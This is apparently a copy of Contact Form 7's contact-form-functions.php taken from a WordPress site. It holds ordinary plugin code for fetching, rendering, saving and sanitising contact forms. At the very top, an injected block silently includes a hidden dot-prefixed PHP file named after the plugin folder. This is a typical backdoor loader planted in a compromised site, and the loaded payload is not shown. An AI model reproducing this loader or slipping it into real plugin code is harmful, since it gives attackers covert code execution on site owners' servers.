balmet.com

contact-form-functions.php (6770B)

---

 <?php
 
 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
 }
 
 function wpcf7_contact_form( $id ) {
 	return WPCF7_ContactForm::get_instance( $id );
 }
 
 function wpcf7_get_contact_form_by_old_id( $old_id ) {
 	global $wpdb;
 
 	$q = "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_old_cf7_unit_id'"
 		. $wpdb->prepare( " AND meta_value = %d", $old_id );
 
 	if ( $new_id = $wpdb->get_var( $q ) ) {
 		return wpcf7_contact_form( $new_id );
 	}
 }
 
 function wpcf7_get_contact_form_by_title( $title ) {
 	$page = get_page_by_title( $title, OBJECT, WPCF7_ContactForm::post_type );
 
 	if ( $page ) {
 		return wpcf7_contact_form( $page->ID );
 	}
 
 	return null;
 }
 
 function wpcf7_get_current_contact_form() {
 	if ( $current = WPCF7_ContactForm::get_current() ) {
 		return $current;
 	}
 }
 
 function wpcf7_is_posted() {
 	if ( ! $contact_form = wpcf7_get_current_contact_form() ) {
 		return false;
 	}
 
 	return $contact_form->is_posted();
 }
 
 function wpcf7_get_hangover( $name, $default = null ) {
 	if ( ! wpcf7_is_posted() ) {
 		return $default;
 	}
 
 	$submission = WPCF7_Submission::get_instance();
 
 	if ( ! $submission
 	or $submission->is( 'mail_sent' ) ) {
 		return $default;
 	}
 
 	return isset( $_POST[$name] ) ? wp_unslash( $_POST[$name] ) : $default;
 }
 
 function wpcf7_get_validation_error( $name ) {
 	if ( ! $contact_form = wpcf7_get_current_contact_form() ) {
 		return '';
 	}
 
 	return $contact_form->validation_error( $name );
 }
 
 function wpcf7_get_validation_error_reference( $name ) {
 	$contact_form = wpcf7_get_current_contact_form();
 
 	if ( $contact_form and $contact_form->validation_error( $name ) ) {
 		return sprintf(
 			'%1$s-ve-%2$s',
 			$contact_form->unit_tag(),
 			$name
 		);
 	}
 }
 
 function wpcf7_get_message( $status ) {
 	if ( ! $contact_form = wpcf7_get_current_contact_form() ) {
 		return '';
 	}
 
 	return $contact_form->message( $status );
 }
 
 function wpcf7_form_controls_class( $type, $default = '' ) {
 	$type = trim( $type );
 	$default = array_filter( explode( ' ', $default ) );
 
 	$classes = array_merge( array( 'wpcf7-form-control' ), $default );
 
 	$typebase = rtrim( $type, '*' );
 	$required = ( '*' == substr( $type, -1 ) );
 
 	$classes[] = 'wpcf7-' . $typebase;
 
 	if ( $required ) {
 		$classes[] = 'wpcf7-validates-as-required';
 	}
 
 	$classes = array_unique( $classes );
 
 	return implode( ' ', $classes );
 }
 
 function wpcf7_contact_form_tag_func( $atts, $content = null, $code = '' ) {
 	if ( is_feed() ) {
 		return '[contact-form-7]';
 	}
 
 	if ( 'contact-form-7' == $code ) {
 		$atts = shortcode_atts(
 			array(
 				'id' => 0,
 				'title' => '',
 				'html_id' => '',
 				'html_name' => '',
 				'html_class' => '',
 				'output' => 'form',
 			),
 			$atts, 'wpcf7'
 		);
 
 		$id = (int) $atts['id'];
 		$title = trim( $atts['title'] );
 
 		if ( ! $contact_form = wpcf7_contact_form( $id ) ) {
 			$contact_form = wpcf7_get_contact_form_by_title( $title );
 		}
 
 	} else {
 		if ( is_string( $atts ) ) {
 			$atts = explode( ' ', $atts, 2 );
 		}
 
 		$id = (int) array_shift( $atts );
 		$contact_form = wpcf7_get_contact_form_by_old_id( $id );
 	}
 
 	if ( ! $contact_form ) {
 		return sprintf(
 			'[contact-form-7 404 "%s"]',
 			esc_html( __( 'Not Found', 'contact-form-7' ) )
 		);
 	}
 
 	return $contact_form->form_html( $atts );
 }
 
 function wpcf7_save_contact_form( $args = '', $context = 'save' ) {
 	$args = wp_parse_args( $args, array(
 		'id' => -1,
 		'title' => null,
 		'locale' => null,
 		'form' => null,
 		'mail' => null,
 		'mail_2' => null,
 		'messages' => null,
 		'additional_settings' => null,
 	) );
 
 	$args = wp_unslash( $args );
 
 	$args['id'] = (int) $args['id'];
 
 	if ( -1 == $args['id'] ) {
 		$contact_form = WPCF7_ContactForm::get_template();
 	} else {
 		$contact_form = wpcf7_contact_form( $args['id'] );
 	}
 
 	if ( empty( $contact_form ) ) {
 		return false;
 	}
 
 	if ( null !== $args['title'] ) {
 		$contact_form->set_title( $args['title'] );
 	}
 
 	if ( null !== $args['locale'] ) {
 		$contact_form->set_locale( $args['locale'] );
 	}
 
 	$properties = array();
 
 	if ( null !== $args['form'] ) {
 		$properties['form'] = wpcf7_sanitize_form( $args['form'] );
 	}
 
 	if ( null !== $args['mail'] ) {
 		$properties['mail'] = wpcf7_sanitize_mail( $args['mail'] );
 		$properties['mail']['active'] = true;
 	}
 
 	if ( null !== $args['mail_2'] ) {
 		$properties['mail_2'] = wpcf7_sanitize_mail( $args['mail_2'] );
 	}
 
 	if ( null !== $args['messages'] ) {
 		$properties['messages'] = wpcf7_sanitize_messages( $args['messages'] );
 	}
 
 	if ( null !== $args['additional_settings'] ) {
 		$properties['additional_settings'] = wpcf7_sanitize_additional_settings(
 			$args['additional_settings']
 		);
 	}
 
 	$contact_form->set_properties( $properties );
 
 	do_action( 'wpcf7_save_contact_form', $contact_form, $args, $context );
 
 	if ( 'save' == $context ) {
 		$contact_form->save();
 	}
 
 	return $contact_form;
 }
 
 function wpcf7_sanitize_form( $input, $default = '' ) {
 	if ( null === $input ) {
 		return $default;
 	}
 
 	$output = trim( $input );
 	return $output;
 }
 
 function wpcf7_sanitize_mail( $input, $defaults = array() ) {
 	$input = wp_parse_args( $input, array(
 		'active' => false,
 		'subject' => '',
 		'sender' => '',
 		'recipient' => '',
 		'body' => '',
 		'additional_headers' => '',
 		'attachments' => '',
 		'use_html' => false,
 		'exclude_blank' => false,
 	) );
 
 	$input = wp_parse_args( $input, $defaults );
 
 	$output = array();
 	$output['active'] = (bool) $input['active'];
 	$output['subject'] = trim( $input['subject'] );
 	$output['sender'] = trim( $input['sender'] );
 	$output['recipient'] = trim( $input['recipient'] );
 	$output['body'] = trim( $input['body'] );
 	$output['additional_headers'] = '';
 
 	$headers = str_replace( "\r\n", "\n", $input['additional_headers'] );
 	$headers = explode( "\n", $headers );
 
 	foreach ( $headers as $header ) {
 		$header = trim( $header );
 
 		if ( '' !== $header ) {
 			$output['additional_headers'] .= $header . "\n";
 		}
 	}
 
 	$output['additional_headers'] = trim( $output['additional_headers'] );
 	$output['attachments'] = trim( $input['attachments'] );
 	$output['use_html'] = (bool) $input['use_html'];
 	$output['exclude_blank'] = (bool) $input['exclude_blank'];
 
 	return $output;
 }
 
 function wpcf7_sanitize_messages( $input, $defaults = array() ) {
 	$output = array();
 
 	foreach ( wpcf7_messages() as $key => $val ) {
 		if ( isset( $input[$key] ) ) {
 			$output[$key] = trim( $input[$key] );
 		} elseif ( isset( $defaults[$key] ) ) {
 			$output[$key] = $defaults[$key];
 		}
 	}
 
 	return $output;
 }
 
 function wpcf7_sanitize_additional_settings( $input, $default = '' ) {
 	if ( null === $input ) {
 		return $default;
 	}
 
 	$output = trim( $input );
 	return $output;
 }